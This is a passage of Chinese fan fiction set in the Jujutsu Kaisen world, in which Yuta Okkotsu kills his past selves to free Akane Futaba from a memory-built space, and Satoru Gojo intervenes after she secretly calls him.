“会遇到很多战斗。”乙骨忧太收回目光,看向前方,“也有可能会失去重要的东西。” 这句话让少年的眼神黯淡了些许,他下意识地抱紧怀中的纸袋,不知是想到了谁。 “但是——”乙骨忧太话锋一转,像是在自言自语,“也会遇到想要拼上一切去守护的人。” 少年似懂非懂地点了点头,眼神忽然变得十分坚决,大概是下定了什么决心。 很快,两人便走到了拐角。 再往前不远,就是双叶茜的家了。 乙骨忧太停下了脚步:“就到这里吧,我还有别的事情。” 少你啊也跟着停下,犹豫了一下,还是忍不住开口,问:“谢谢你陪我走过来,那个…请问我以后还能再见到你吗?” 乙骨忧太静静地看着少年。 不知看了多久,他的右手才握住了刀柄。 冰冷的触感打破了方才虚假的平和。 “不会了。”他回答道。 少年面露遗憾,但很快便调整过来,对乙骨忧太露出笑容,正欲开口说话,却忽然感到胸口一阵痛楚。 他的笑容凝固在脸上,低下头,难以置信地看着自己胸前绽出的血色。 纸袋掉落在地上。 少年张了张嘴,想说什么,却发不出任何声音。 他望着面前人,与对方漠然的表情对上视线,最后沉沉向后倒去。 街道上空荡荡的,只剩下乙骨忧太独自站立着。 他弯下腰,捡起掉落在地的纸袋,又直起身子,将纸袋轻放在路边的石阶上,转身离开了。 粘稠的黑暗再次从四面八方涌来,将乙骨忧太整个人包裹住。 这是第一次。 … 傍晚的风带着草木的气息,远处的夕阳给体育场镀上一层暖金色。 体育场中央,一个身影正在与一只大熊猫进行体术训练。 那是入学高专后的乙骨忧太。 他的动作看上去明显比国中时期利落许多,眼神也褪去了些许阴郁,但眉宇间仍有无法消逝的沉重。 他能较好地运用咒力强化自身,但在与那只大熊猫的交手中,却仍有些束手束脚,似乎在刻意压制着什么,估摸着还是没学会好怎么利用自己的咒力。 “忧太,注意力集中!”那只大熊猫挥出一拳,提醒道。 少年堪堪躲过攻击,气息紊乱,他刚想回应,目光却猛然瞥见场边不知何时多出的一个身形。 他的动作瞬间僵住。 熊猫也停下了攻击,疑惑地顺着少年的视线望去。 乙骨忧太站在不远处,一双黑眸平静无波,望着场中的自己。 熊猫似乎察觉到危险,警惕地挡在少年身前。 乙骨忧太没理会熊猫,目光始终锁定在少年身上。 他缓慢地抽出太刀,几乎在瞬间便出现在少年面前,刀锋直取要害。 … 这是第二次。 第三次、第四次、第五次、… 乙骨忧太已经不知道第多少次了。 他无数次穿梭时间,无数次回到过去,无数次亲手杀死自己。 最初内心还会有些波动,但后来内心几乎已经麻木了。 他垂眸,再次融入黑暗中,重回到过去。 … 盛夏。 蝉声不停地叫着,令人很是烦躁。 时间似乎回到了更早的时候。 乙骨忧太站在一棵大树的阴影下,目光投向不远处的一户人家。 院子里,一个小男孩正蹲在地上,小心翼翼地数着地上的蚂蚁。 他的脸颊还很圆润,眼神很是干净,即使在做十分无聊的事情,却仍然十分专注。 “忧太!你看我找到了什么!” 一个同样年纪的小女孩从屋子里跑了出来。 她手里高举着一个游戏机卡带,兴奋地喊着乙骨忧太。 是双叶茜。 是年幼的她。 小男孩抬起头,脸上露出了一个带着腼腆的笑。 他不再数到底有多少只蚂蚁,站起身。 “我 们今天下午有事情可以做啦!”女孩跑到小男孩身边,眼睛亮晶晶的。 躲在树影下的乙骨忧沉默地看着这一幕。 童年的记忆早已模糊,他的记忆里只依稀有些回忆碎片,此刻童年的一幕却清晰地展现在了乙骨忧太面前。 他有私心地故意多看了一会,最终还是再次握住了刀柄,指尖因为用力过度而泛白。 他没有选择,从树影下走了出来。 … “不可能,这不可能!!”咒灵的声音失去了之前的得意与狡诈,充满了惊慌与愤怒。 乙骨忧太突然回到了那处山谷。 在他离开的时候,时间似乎从未流逝。 他观察了一下四周,问:“发生了什么?” “那个女人!!”咒灵的声音尖锐得刺耳,“她居然在反抗!她的意识居然在试图吞噬我创造的世界,她居然想把我也吞噬掉!” 乙骨忧太的心脏猛地一跳。 “她怎么敢?!她怎么可能做到?!”咒灵的声音充满了狂躁。 “区区一个人类,不,这不可能!” 咒灵似乎因为极度的震惊和愤怒而语无伦次,但它话语中透露出的信息,却让乙骨忧太那早已冰冷死寂的心湖,骤然掀起了惊涛骇浪。 “所以——”乙骨忧太的声音陡然变得极其冰冷,带着压抑到极致的风暴,“你无法履行束缚了?” “履行?哈哈哈哈!”咒灵发出疯狂的笑声,“那个疯女人要把我和我创造出来的空间一起拖垮!再这样下去,别说放她出来,我和她可能都会彻底消失在这个世界上!” 它的话锋猛然一转,惊慌都变为穷途末路般的狠厉与贪婪,死死锁定了乙骨忧太: “但是咒术师,你还在这里!你已经斩断了几乎所有过去,你的躯壳现在是最完美的状态!” 黑汁再次从那团黑雾中涌出,直向着乙骨忧太逼来,像是迫不及待地想要吞噬掉乙骨忧太。 “把身体给我!现在!立刻!” 咒灵嘶吼着,彻底撕下了伪善的面具:“既然她自寻死路,那就别怪我了!把你的身体给我!!” 它已经不在乎什么束缚了,一心只想活命。 而眼前这具被精心“准备”好的特级容器,就是它唯一的救命稻草。 粘稠的黑汁从那团黑雾中疯狂涌出,铺天盖地地向乙骨忧太袭来,试图强行侵入乙骨忧太的身体,占据这具完美的容器。 但就在这时,一股磅礴的咒力轰然从乙骨忧太的周身爆发出来。 乙骨忧太的眼眸中迸发出寒光,挥刀向前,将汹涌而来的黑潮一分为二。 他不再退缩,刀锋对准那团黑雾,向着那团黑雾攻去。 * 回忆到此结束。 双叶茜猛喘了口气,胸口剧烈起伏,脸色苍白,额角也渗出冷汗,看向乙骨忧太,眼神里充满了震惊。 “我想起来了,是那个特级咒灵。”她扶额说道,“我被它拖到了它所在的空间里。” 她抬起头,急切地望向自己的爱人,又问:“忧太,你是怎么找到我的?” 乙骨忧太的目光平静地与双叶茜交汇:“你已经沉睡很久了,茜。” “高层封锁了消息,对外只宣称你任务失踪。”乙骨忧太继续道,“我找到了你出事的地点,感受到了你的咒力。” “这个困住你的空间,并非完全由那个咒灵所创造。茜,它源于你的意识,是你的记忆和意识构建了这里。”他抬手指向一直站在一旁一言不发的少年,又指向周围的场景,“包括他,包括我们所处的这个地方,都是你创造出来的。” 正因如此,当这个世界里出现了来自双叶茜记忆里的“乙骨忧太”时,他才感觉到自己的存在,也才能感觉到双叶茜。 “我找到了那个特级咒灵的本体,并威胁了它。”乙骨忧太顿了一下,又道,“我给了它两个选择。” “要么,被我彻底祓除,赌一赌它彻底消亡后,你是否能侥幸存活下来。” “要么,它必须帮助我找到你所在的这个空间。” 这段过程绝非乙骨忧太所描述得那么简单。 那个狡猾的特级咒灵,怎么可能乖乖接受别人给他的选择。 “他选择了后者。”乙骨忧太望向少年,眼中杀气再次浮现,“而现在,要打破这个空间,将你安全带回去,就必须要杀死你的记忆。” “也就是我自己。” “等等!”双叶茜突然想起什么,声音因惊惧而尖锐起来,猛地向前一步,抓住乙骨忧太的手臂,“我没记错的话,你杀死你自己,你自己也会消失,对吧?” 乙骨忧太的动作有一瞬停滞。 但他没有看向双叶茜,心中像是已经下定了决断,目光死死地锁在不远处的少年身上,决绝道:“没有其他的办法,这是唯一的路径。” “忧太,不要!我们一定还能想到别的——” 乙骨忧太没再解释,也不再回应双叶茜带着哭腔的声音,把咒力尽数灌注于手中的太刀中,拔出刀,直向着少年的咽喉而去。 少年虽欲拔刀格挡,但乙骨忧太的速度实在过快,少年直接整个人被一股庞大的力量给震飞了出去,重重地撞在后方的墙壁上。 他喉咙一甜,咳嗽两声,险些吐出血来。 实力的差距太过悬殊。 乙骨忧太没有丝毫停顿,再次追击,太刀刀锋直指少年。 “住手,忧太!” 双叶茜惊声尖叫,想要冲上前阻拦,但两人交战所溢出的咒力宛若狂风,将她狠狠推开,让她根本无法靠近。 她只能眼睁睁地看着两个人自相残杀。 少年咬紧牙关,不断拼命闪避,却仍然无法躲过乙骨忧太的攻击。 而这时,乙骨忧太又开口说话了:“你还打算把她留在这里多久?” 少年猛地一震,格挡的动作出现一瞬的僵硬。 他明白乙骨忧太的话是何意。 他一直自爱抵抗和挣扎,事实上并非是为了求生,而是因为不想离开双叶茜。 这是他的私心,也是乙骨忧太的私心。 因为他们本就是同一个人。 可现在,他的存在却恰恰成为了将双叶茜留在这个世界里的枷锁。 少年的视线投向乙骨忧太,那双总是盛满了温暖笑意的眼睛里,此刻却盈满了痛苦。 双叶茜瞪大眼睛,似乎有了某种预感,伸出手喊道:“不…等等,忧太,我们会有别的办法——” 乙骨忧太的下一击再次袭来,刀锋直向着少年的心脏。 而这一次,少年没再试图格挡或闪避。 他甚至松开了握刀的手,太刀“哐当”一声掉落在地。 在双叶茜难以置信的目光里,少年非但没有后退,反而向前踏出了一步。 他抬起眼,最后一次深深望了双叶茜一眼,眼中情绪极其复杂。 然后,少年闭上了眼睛,坦然迎接自己会有的结局。 “噗嗤——” 利刃穿透血肉的声音,在一片寂静中显得格外刺耳。 时间仿佛在此刻凝固。 乙骨忧太收回刀,血液从刀尖上一滴一滴往下真实地坠落。 少年倒下的瞬间,周围的空间开始剧烈波动。 周围的景象不断扭曲吗,甚至连太阳的光线都忽明忽暗。 双叶茜跪坐在地,双手捂住脸,无声地痛哭着。 泪水模糊了她的视线。 少年的身体逐渐变得透明起来,就连乙骨忧太刀身上的血迹也一点点消散。 空间的震荡越来越剧烈。《 》 30-33 第31章 乙骨忧太站在原地, 收刀入鞘。 他微微低着头,额前黑色的碎发遮住了他的眼 眸,让人看不见他此刻的神情。 “忧太。”双叶茜哽咽着, 呼唤着爱人的名字。 乙骨忧太缓缓抬起头, 目光落到女人泪痕交错的脸上,沉默片刻,终是沉声开口。 “他是自愿的。” 这句话彻底堵死了双叶茜想要宣泄情绪的出口。 她亲眼看到了,少年是如何松开了刀,如何迎向了死亡。 她想要尖叫, 想要质问, 想要找到一个可以憎恨怪罪的对象, 却发现无人可以归罪。 双叶茜张了张嘴, 却发不出任何声音,只能任由滚烫的泪水无声地滑落。 乙骨忧太也没有再说话。 他站在原地,周遭空间的剧烈震荡仿佛与他无关。 他完成了必须做的事, 代价是亲手抹杀了过去的自己,并在所爱之人心中刻下了难以愈合的伤痕。 空气死一般的寂静。 但这时,一个声音叹了一口气, 突兀地插了进来。 “你果然还是这么做了。” 两人同时转头。 只见又一个身影不知何时出现在了不远处。 那人同样是成年后的乙骨忧太, 和站在双叶茜面前的乙骨忧太几乎一模一样。 他像是早已预料到这一切的发生,缓步走近,目光扫过双叶茜脸上未干的泪痕, 又落在自己身上。 “我感受到了空间变得不稳定了。” 他的声音听不清是责备还是无奈:“你还是选择了在她面前杀死自己。” 男人步伐稳定, 径直走向几乎快要被悲伤击垮的双叶茜。 他没有看另一个自己, 目光始终落在双叶茜身上,停在她面前,挡住她的视线, 又蹲下身,一只手捂住她颤抖的双手,另一只手抚上她的脸颊,声音低沉,却带着明显的安抚意味。 “茜,看着我。” 双叶茜泪眼朦胧地抬起头,望着自己的爱人。 “你现在不能再待在这里了。”男人强行占据了双叶茜所有的视线,搂住她的腰,将她打横抱起,又道,“你没办法再承受这些了,我带你走,好吗?” 他将双叶茜的头摁在自己怀中,果不其然便感到自己的胸前一片湿润。 男人又侧过头,目光平静地看着另一个自己,又道:“已经这样了,就暂时先放放吧。” 乙骨忧太依旧沉默地站在原地,低垂着头。 碎发遮挡住他的眼睛,让人看不清他的神情,他没有出声制止,默认了对方的安排。 男人不再多言,抱着双叶茜,以一种保护者的姿态,带着她离开了这里。 * “茜?” “好啦,不要哭了,没事了。” 乙骨忧太用手指擦去女人脸上的眼泪,表情温柔,又道:“没关系的,你看,我现在不是还站在你的面前吗?” “你要不跟我说话,要不理我了吗?” “我会伤心的,呜呜呜,我好伤心哦,我的爱人居然不理我。” “这算不算冷暴力?” 乙骨忧太绝对算不上是油嘴滑舌之人。 只是他们两个人已经在一起许久,偶尔还是会有点小摩擦和碰撞,为了哄女朋友开心,乙骨忧太才学会了许多逗女孩子开心的技巧。 心中的痛楚减少些许,双叶茜终于能扯住一个笑来,但那笑却比苦还要难看。 她的鼻头动了动,问:“忧太,你也会死吗。” 你也会被你自己给杀死吗? 乙骨忧太没回答,只是用手指指腹摩挲着双叶茜的脸颊,那双黑眸深深地看着双叶茜,就像是要将她的面容牢牢地刻在心里。 他忽然在双叶茜的唇上落下一吻。 柔软的触感让双叶茜一怔,她正欲推开乙骨忧太,再次发问,却不料乙骨忧太先一步退开,双手捧着她的脸,问。 “茜,先不说那些了好不好?” “今天就陪陪我,我们忘记其他的事情好不好?” 就像是在做最后的告别一般。 双叶茜的嘴唇动了动,想要拒绝,想要说你不要这样,却一句也没说出口。 她的嘴唇最终只是上下嗫嚅了两下,应道。 “好。” 平凡的一天。 似乎又不是很平凡。 乙骨忧太带着双叶茜回到了家里。 这里是双叶茜记忆深处的家,是她最为熟悉的地方。 她看着屋子里的东西,眼泪忽然想要从眼眶中掉落到地上。 这个屋子里的所有东西,都是她和乙骨忧太亲自挑选的。 那时他们刚准备同居,年轻的小情侣对同居后的生活颇为期待,满怀着期待和憧憬多次出入超市,每次都是满载而归,带了整整好几大包回家。 而现在,这一切都即将消失了。 乙骨忧太会消失,她记忆里的乙骨忧太也会消失。 在眼眶中积蓄了许久的眼泪终是无法再忍住,双叶茜鼻头一酸,忍不住哭了出来。 她问站在身旁的乙骨忧太。 “真的就没有别的办法了吗?” 乙骨忧太依旧沉默着。 双叶茜继续说道:“如果是为了让我活着,而去牺牲你自己,那忧太,我活在这个世界上的意义又是什么呢?” “我不想要这样以你的性命换来的幸福,也不想你死去后我一个人还活在这个世界上。” 她哽咽着:“你觉得这对于我来说,是幸福吗?” 乙骨忧太叹了口气:“茜,你会忘记我的。” “到那个时候,你就不会为此感到痛苦了,我会从所有人的记忆里消失。” 乙骨忧太道:“因为那个人是我,所以我可以理解他的做法,并且不会反对他,而且…” 他明显地顿了一下:“我也理解为什么他会选择在你面前杀死自己。” 但乙骨忧太不会告诉双叶茜。 每个时期的他,都不会告诉双叶茜他内心的真实想法。 ——其实乙骨忧太是害怕双叶茜忘记他的。 毕竟是自己的爱人,虽然他的确心甘情愿为自己的爱人牺牲,可想到爱人忘掉自己之后,或许会跟其他人坠入爱河,甚至会跟其他人结婚,组建新的家庭。 乙骨忧太光是想想,就难以忍受。 他无法接受双叶茜会忘记他,爱上其他人,那对于他来说太残忍了。 但如果在他消失后,双叶茜不再跟任何一个人坠入爱河,一个人孤零零地过完这一生。 乙骨忧太觉得那对于双叶茜来说,也太残忍了。 他很矛盾。 又或许人都是矛盾的。 所以他有私心。 乙骨忧太希望双叶茜的灵魂深处不会忘记自己,永远烙刻上自己的印记,即使日后有可能会和其他人坠入爱河,那个人也无法取代自己的位置。 他希望自己永远、永远、永远、永远占据着双叶茜心中最重要的那个位置。 所以乙骨忧太选择了在双叶茜面前杀死自己。 所以他选择了告诉双叶茜一切的真相。 他本可以不用这么做。 他本可以像电视剧演出的守护者、像电视剧里的男二那样,在背地里默默奉献,心甘情愿地为女主付出一切,最后退出女主的世界,成全女主和其他人,并真诚地送上祝福。 但乙骨忧太并没有那么无私。 他是一个自私的人,他是一个疯子。 咒术师都是疯子。 所以他才能疯到重回过去不断杀死一个又一个自己,所以他才能疯到要在爱人面前杀死自己。 他可以接受自己为双叶茜付出生命,却无法接受双叶茜忘记他,坦然地与其他人相爱。 “茜,我们刚刚不是说好了,不再说那些事情了吗?”乙骨忧太牵起双叶茜的手,将她拉入屋内,又道,“你饿不饿,想吃什么?” 双叶茜摇了摇头,低低道:“我不饿。” “哎——可是我的肚子有点饿了哎。”乙骨忧太故意拖长语调,说。 他将双叶茜带到客厅的沙发上,又摁住她的肩膀让她强行坐下,蹲下身,以下向上地看着双叶茜,将自己的攻击性降到最低,又问:“茜,你不饿吗?” 男人的眼神带着明显的引导和蛊惑,双叶茜本想说自己真的不饿,可看着男人明显的讨好意味,她还是说不出拒绝的话,只能道:“有一点。” “有一点就是饿了。”乙骨忧太赶忙又问,“那茜想 吃什么?我现在就去做好不好?” 双叶茜撇开视线,低低道:“你做你自己喜欢吃的吧。” 让爱人死前还不能吃他自己喜欢的东西,这种做法也太过分、太残忍了,双叶茜做不出来。 “我自己喜欢的?”乙骨忧太却像是没想到他会这么说,明显一顿,眉头皱起,貌似在思索自己有没有什么十分喜欢的食物。 然后,他得出了结论。 “茜,我没有什么比较喜欢吃的,你喜欢什么,我就喜欢什么。” “你想吃什么?” 是的。 乙骨忧太一直都是这样的。 跟世界上绝大多数人不同,乙骨忧太貌似不知该怎么样为自己而活,也没有什么特别喜欢的东西,除了双叶茜可以说算得上是他唯一的执念外,他对世界上的其他东西都很淡然。 或许也正因如此,乙骨忧太才会格外偏执。 他一切都以双叶茜为先,甚至把她喜欢的食物、口味、爱好都当成自己喜欢的东西。 乙骨忧太对双叶茜的情感甚至已经都不算是简单的喜欢,而是浓浓的依恋了。 仿佛只要这个人离开,他就会死掉。 这算是病娇吗? 好像又不是。 双叶茜混乱的脑海里忽然浮现起一些想法。 [病娇]的含义是自私地将喜欢的人囚禁,让对方只能看到自己,只能爱上自己,并以自己的方式驱赶走爱人周围除自己之外的所有人。 严重的情况下,还有可能会伤害他人,只为了能将爱人留在自己身边。 而更甚的情况下,如果爱人坚决地反抗自己,不服从自己的心愿,甚至有可能会伤害爱人的身体。 在一些恐怖类的galgame游戏里,这种就是[bad end],游戏里的角色几乎有可能会砍掉一些肢体,然后… 想到这里,双叶茜打了个冷颤,不想再继续细想下去。 她觉得乙骨忧太应该并不是那种类型的病娇。 乙骨忧太事事以她为先,可以说已经完全把她放在了第一位,哪怕是吃醋,最多也只会让她不要再过度接触其他人,或者会直接身体力行地发泄自己的醋劲。 其他的便什么都不会做了。 世界上所有人都会伤害她,但只有乙骨忧太,是无论如何都不会伤害她的存在。 乙骨忧太…或许只是把她当成了自己活下去的希望和动力,依靠她来建立起和这个世界的联系吧? 如果没有她,那么乙骨忧太和这个世界的联系也就彻底断了。 双叶茜垂眸说了几个菜名。 蹲下身的乙骨忧太眼睛一亮,声音也雀跃起来:“好,那茜等我,一会就好。” 乙骨忧太飞快地走到厨房,像双叶茜记忆里的那般开始切菜洗菜,手法很是娴熟。 他不时还抬眸看向坐在沙发上的双叶茜,像是担心她会做出什么激烈的事情。 毕竟…今天发生了那样的事情。 即使乙骨忧太已经努力转移了双叶茜的注意,心里却也清楚,任谁都无法忘记刚刚那一幕。 更何况,他本身便没想让双叶茜忘记。 双叶茜坐在客厅里,抬眸望向天花板,脑中思绪万千。 难道真的就没有其他办法吗? 难道真的就只有这一条路吗? 难道真的就必须让乙骨忧太牺牲,以此来换取她的存活吗? 这样不对! 双叶茜用牙齿咬紧自己的手指,心中暗自下定了决心。 她一定要找到一个办法,能同时让乙骨忧太和她都活下来! 双叶茜猛地从沙发上站起身。 因为动作太快,甚至吸引了乙骨忧太多注意力。 他放下手头的工作,向双叶茜望来,问:“茜,怎么了?” 双叶茜强迫自己冷静下来。 她不想让乙骨忧太察觉自己的意图。 乙骨忧太是一个固执的人,又不愿让她陷入危险里。 如果他知道双叶茜还想寻找其他方法,很可能会用更极端的方式阻止她,或者加速他自己的打算。 “没什么,”她努力让声音听起来带着疲惫,甚至刻意揉了揉眼睛,“只是觉得有点累了,想先去洗个脸。” 乙骨忧太见她神色恹恹,声音里带着哄意:“好,去吧,饭菜很快就好。” 他转过身,将注意力重新专注在手上的饭菜,借着这个机会,双叶茜连忙点点头,走向卧室的方向,眼睛却望着乙骨忧太搭在沙发扶手上的外套。 乙骨忧太一向习惯将手机放在外套内侧的口袋里。 双叶茜快步往前走,手指伸入口袋里,果不其然便摸到冰凉的金属外壳。 她迅速将手机抽出,紧紧攥在手心,又飞快走到卧室,并将门反锁。 双叶茜背靠着冰冷的门板,点亮手机屏幕,又输入了自己的生日。 屏幕应声解锁,双叶茜立刻翻找着通讯录,果然看到五条悟到名字。 她毫不犹豫地按下拨号键,又将手机紧紧贴在耳边,心中疯狂祈着。 五条老师,快接电话! “嘟——嘟——嘟——” “莫西莫西~” 一个慵懒的声音从听筒里传来,带着些许意外的语气:“真难得啊,忧太居然会主动给我打电话?” 双叶茜激动得差点哭出来,她死死捂住自己的嘴,防止哽咽的声泄露,又压低了声音,用气音急促地说道:“五条老师!是我,双叶茜!” 电话那头沉默了一瞬,随即语气变得正经许多:“茜?你用忧太的手机给我打电话…发生什么事情了?” “老师,长话短说!”双叶茜语速极快,“我和忧太被困在了一个空间里,现在的你也是我记忆里的人,而不是真实的人,但除了你,我想不到其他还有谁能帮助我了。” “忧太为了救我出去,正在不断回到过去,要杀死所有过去的自己,他说这是唯一的办法,但他自己也会跟着消失!” “请帮帮我,五条老师!” “您一定还有办法的,对不对?我们现在的位置是…” 双叶茜的声音带上哭腔,快速报出了家的地址,却久久没听到那边人的回话。 她正欲再次出声,却忽然听到卧室门外传来了脚步声。 “茜?你还在洗脸吗?饭做好了。” 乙骨忧太的声音隔着门板传来,越来越近。 双叶茜的心脏猛地提到了嗓子眼里。 “老师,忧太过来了,拜托您帮帮我们!” 她最后对着话筒用气音急切地喊了一句,便毫不犹豫地挂断了电话,并飞速删除了通话记录。 双叶茜将手机塞回自己的睡衣口袋,打算找机会再放回去,打开了门。 乙骨忧太似乎刚走到门口,关切地问:“怎么了?不舒服吗?” 双叶茜挤出一个勉强的笑:“没事,就是有点困了。饭好了吗?我们快去吃饭吧。” 她主动走上前,挽住乙骨忧太的手臂,将他往客厅带,不让他有过多思考的时间。 看着女人挽着自己的手,乙骨忧太的眼神柔和下来,暂时将那一点点疑虑抛在了脑后,回道:“嗯,好了,都是你爱吃的。” 餐桌上摆满了双叶茜喜欢的菜肴,色香味俱全,足见乙骨忧太的用心。 他不停地为她夹菜,眼神温柔,像是要将未来所有无法再给予的关怀,都在这一顿饭里倾注完毕。 就像是在告别一样。 “多吃点,你最近都瘦了。”乙骨忧太将一块剔好刺的鱼肉放进她碗里。 双叶茜低着头,小口小口地吃着。 食物很美味,是记忆中最熟悉的味道,此刻却如同嚼蜡。 她不敢抬头与他对视,生怕自己流出眼泪,只能一直低着头不说话。 “茜,还记得我们刚搬进来的时候吗?” 乙骨忧太似乎想活跃气氛,声音轻快了些:“为了买哪个颜色的窗帘,我们在超市里争论了好久哦。” 双叶茜握着筷子的手指微微收紧。 她当然记得。 那时他们像所有普通情侣一样,为生活中的琐事拌嘴,却又因为彼此在身边而觉得连争吵都带着甜味。 “最后还是听你的选了米白色。”双叶茜觉得喉咙有些发堵。 “因为你说米白色看起来温暖。”乙骨忧太看着她,嘴角噙着淡淡的笑意。 这顿饭吃得双叶茜心力交瘁。 每一分甜蜜的回忆,都像是一根针,狠狠扎在她的心上。 她一边贪婪地汲取着这可能是最后的温情,一边又在内心疯狂祈祷五条悟能够快些出现,帮助他们。 饭后,乙骨忧太主动起身收拾碗筷,又揉了揉双叶茜的头发,道:“不早了,快去洗漱休息吧。” 双叶茜顺从地点点头。 她走进浴室,关上门,又打开水龙头。 稀里哗啦的水声响起。 借着这个机会,双叶茜迅速从口袋里拿出乙骨忧太的少年,塞进了浴室储物柜一堆毛巾下面。 做完这些,她紧绷着的心才放松些许。 但她仍低估了乙骨忧太的敏锐。 双叶茜简单洗漱了一下,便走出浴室,却见乙骨忧太正站在窗前,望着窗外的夜色。 “忧太?”她轻声唤道,“你可以去洗漱了。” 乙骨忧太缓缓转过身,点了点头,走到浴室内。 双叶茜则躺在沙发上,等着他出来。 然而乙骨忧太刚进去没多久,却又走出来了。 他手里拿着那部黑色的手机,屏幕是亮着的。 双叶茜的心脏瞬间漏跳了一拍,血液仿佛在刹那间凝固。 乙骨忧太的目光落在她脸上,开口问道:“茜,我的手机,为什么会在浴室里?” 双叶茜的大脑一片空白,下意识地想辩解:“我…我不知道,可能是不小心…” “我查了通讯记录。”乙骨忧太却打断了她,语气依旧平静,“最近的一条播出记录,是打给五条老师的,时间是在你说去洗脸的时候。” 他向前走了一步,那双深邃的眼眸紧紧锁住双叶茜,里面翻涌着压抑的暴风雨:“茜,为什么要联系他?” 谎言被当场戳穿,双叶茜的脸色瞬间变得惨白。 她看着步步逼近的乙骨忧太,感受到一股令人窒息的压迫感,下意识地后退,又道。 “我…我只是…” “你只是不相信我,对吗?”乙骨忧太的声音里终于带上了一丝压抑不住的痛苦和失望,“你不相信我能救你出去,也不相信这是唯一的方法。 乙骨忧太的情绪似乎也压抑了许久,在这一刻开始失控,声音陡然拔高:“你知不知道,任何变数都可能让之前的一切努力白费,都可能让你没办法回到现实世界里?!” “你为什么不能相信我?” 双叶茜被他从未有过的激烈态度吓到了,泪水瞬间涌了上来。 恐惧、委屈、担忧、以及那份不肯放弃的希望交织在一起,让她也激动起来。 “相信你?相信你杀死自己然后消失吗?!” 她哭着反驳;“乙骨忧太,如果救我的代价是你的消亡,那我宁愿…” “你宁愿什么?!”乙骨忧太猛地抓住她的手腕,“宁愿跟我一起死在这里吗?!茜,你不可以这样做!你要活下去!” “那怎么办?!”双叶茜仰着头,泪眼婆娑地直视着他,“我想要的,不是这样的活着!” “如果要我这样活下去,那我宁可去死!” 两人激烈的争吵在寂静的夜晚显得格外刺耳。 乙骨忧太紧紧抓着双叶茜的手腕,胸膛剧烈起伏。 双叶茜则倔强地与他对视,不肯退让分毫。 “哎呀呀——” 然而就在此时,一个极其不合时宜的声音,骤然在客厅里响起。 “看来我来的好像不是时候?” “不过门没锁,我就自己进来了哦~” 乙骨忧太和双叶茜同时猛地转头,看向声音来处。 只见客厅的沙发上,不知何时竟坐了一个人。 男人有着白色的短发和黑色的眼罩,修长挺拔的身姿随意地靠在沙发背上,一条腿甚至还悠闲地搭在另一条腿上。 不是五条悟又是谁? 他手里居然还拿着一个不知道从哪里翻出来的橘子,正慢条斯理地剥着,甚至还悠闲地将一瓣橘子扔进了嘴里,道。 “你们小两口吵架的动静,隔着门都能听见呢。” “不过‘杀死自己’这种话题,听起来可比普通的家庭矛盾刺激多了。” 他抬起头,拍了拍手,又道。 “那么——” “有没有哪位好心的当事人,能给被迫听墙角的可怜老师我,详细解释一下…” “现在这到底是什么情况?” 第32章 “五条老师, 这里不是你该来的地方。”乙骨忧太向前半步挡住双叶茜。 “嗯哼?”五条悟从口袋里掏出手机晃了晃,“但老师收到可爱的学生发来的求救信号了呢。” 他的屏幕上赫然显示着双叶茜的来电记录。 双叶茜抓住这个机会开口:“五条老师,忧太他——” “茜。”乙骨忧太扣住她的手腕, 打断她的话, 眼底翻涌着暗色,“我们的事不需要外人插手。” 五条悟却突然站起身,身子在灯光下投出极具压迫感的阴影。 “忧太,对老师这么戒备可真让人伤心啊。”他说话时唇角还挂着笑,周身却骤然散发出无形的压迫感, “难道你确定要当着我的面限制茜的人身自由嘛, 茜可是向我求助了哦?” 乙骨忧太的指节发出细微脆响。 他虽然并未抽出那把太刀, 但强大的咒力却已让客厅的吊灯开始摇晃起来。 双叶茜被他牢牢护在身后, 又听他从齿缝间挤出声音:“这是我们之间的事。” 五条悟却丝毫没受到任何影响,向前迈出半步。 他的周身竟同样也散发出一股强大的咒力,虽未出手, 但咒力所释放出的强烈威压却硬是逼着乙骨忧太猛地后退,竟直接撞上了茶几。 玻璃桌面应声裂开。 五条悟的手按在那把太刀上:“我只是想跟茜好好聊聊,别这么紧张嘛。” 乙骨忧太却突然拔出了刀, 低低道了声歉:“抱歉, 五条老师。” 却没想那把刀在触碰到五条悟道衣领时便骤然停滞。 五条悟用两根手指夹住刀刃,手腕转动了一下,那把太刀便被某种巨力弹射进天花板, 刀柄嗡嗡震颤。 “走吧, 茜。”他又瞬间出现在乙骨忧太的背后, 向双叶茜伸出手,道,“再待下去, 这栋房子就都要被拆掉了。” 双叶茜虽知晓跟着五条悟走后,乙骨忧太断然会生气,此刻却已无其他办法。 她毫不犹豫地牵上五条悟的手。 下一秒,五条悟便带着她撞碎玻璃,漂浮在半空中。 双叶茜正欲回头去看乙骨忧太,五条悟却硬生生摁住她的头,强迫她的头没办法转过来,随后用轻快的语气说道。 “双叶同学,要加速咯~” 双叶茜还没反应过来,五条悟便拎着她的后衣领在夜色中疾驰,风声在她的耳朵旁呼啸而过。 “老师!”双叶茜在风中艰难开口,“我们要去哪里?” 五条悟轻松避开一栋高楼,语气依然轻快:“当然是一个好地方哦~” 他们最终降落在一栋楼房前。 五条悟推开一扇不起眼的铁门,露出向下的水泥阶梯。 潮湿的霉味扑面而来,昏暗的灯光在墙壁上投下摇曳的阴影。 “欢迎来到五条老师的秘密基地~”他做了个夸张的邀请手势。 地下室比想象中宽敞,但陈设却很简陋。 一张铁架床靠在墙边,上面铺着洗得发白的床单,角落堆着几个纸箱,最上面的箱子里露出几包未拆封的薯片,沙发前摆放着一个电视。 双叶茜注意到沙发上还随意地扔着几包零食,问:“这里有人住过?” “以前借给过一个学生暂住。”五条悟随意坐在铁架床上,床发出吱呀声响。 他不知从哪又摸出个橘子,在手里抛接着,“现在正好可以给离家出走的小朋友一个藏身之所。” 双叶茜抱膝坐在沙发上,简单把这几天发生的事情说了一遍。 她犹豫了一下,又看了看五条悟的神色,道:“老师,您也有可能是我创造出来的,而不是真正的你。” 五条悟剥橘子的动作顿了一下 ,却似乎并未太过惊讶。 即使在这个由双叶茜创造出来的世界里,他也仍旧是那个最强。 他耸了耸肩,道:“果然如此啊。” 见五条悟一副早已料到的样子,双叶茜有些疑惑:“五条老师,您知道?” 五条悟将剥好的橘子分成一半递给双叶茜,又掰下另一半的一瓣放到嘴里:“从一开始就知道了哦。” “总觉得好像有哪些不对劲的地方,好像我的意识和行为都受到了限制,不能自由地活动呢。” 他又道:“从那个时候我就意识到不对劲了哦。” “但是啊,既然茜能独立创造出这样的空间——” 五条悟忽然俯身,用指尖点着双叶茜的眉心,嘴角扬起意味深长的弧度:“说明茜的术式天赋很高哦。” 双叶茜抓住他的袖口,指甲几乎掐进布料:“那老师,你有没有其他的办法,是不用让忧太杀死自己的办法?” 